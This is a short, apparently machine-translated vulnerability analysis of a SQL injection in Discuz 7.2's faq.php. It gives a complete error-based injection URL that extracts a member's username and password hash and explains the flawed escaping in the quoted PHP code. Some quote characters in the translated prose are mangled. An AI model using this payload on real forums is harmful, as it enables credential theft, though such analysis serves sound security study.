Discuz 7.2版のfaq.php SQL注入脆弱性分析

1779 ワード

注入コードの例:
 
  
//www.jb51.net/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

脆弱性分析:by phithon
 
  
($action == 'grouppermission') {

...
        ksort($gids);
        $groupids = array();
        foreach($gids as $row) {
                $groupids[] = $row[0];
        }

        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
...
}
function implodeids($array) {
        if(!empty($array)) {
                return "'".implode("','", is_array($array) ? $array : array($array))."'";
        } else {
                return '';
        }
}


まず配列groupidsを定義し、次に$gids(これも配列であり、$_GET[gids])を巡り、配列内のすべての値の最初のビットをgroupidsに取り出します.
なぜこの操作が注入をもたらしたのですか?
discuzはグローバルにGET配列をaddslashes変換し,すなわち「」に変換するので,我々の入力パラメータがgids[1]='であれば$gids[1]='に変換され,この付与文$groupid[]=$row[0]は文字列の1番目の文字,すなわち,変換記号を取り出すことに相当する.
後を見て、sql文にデータを入れる前にimplodeidsで処理しました.implodeids関数を見てみましょう
簡単な関数は、さっきの$groupids配列を','で分割し、'1','2','3','4'に似た文字列を構成して返すことです.
しかし、私たちの配列はちょうど1つのエスケープ記号を取り出したばかりで、それはここの正常な「エスケープ」を落とします.例えば、「1','','3','4'は少し違いが見えますか.4番目の単引用符はエスケープされました.つまり、5番目の単引用符と3番目の単引用符が閉じています.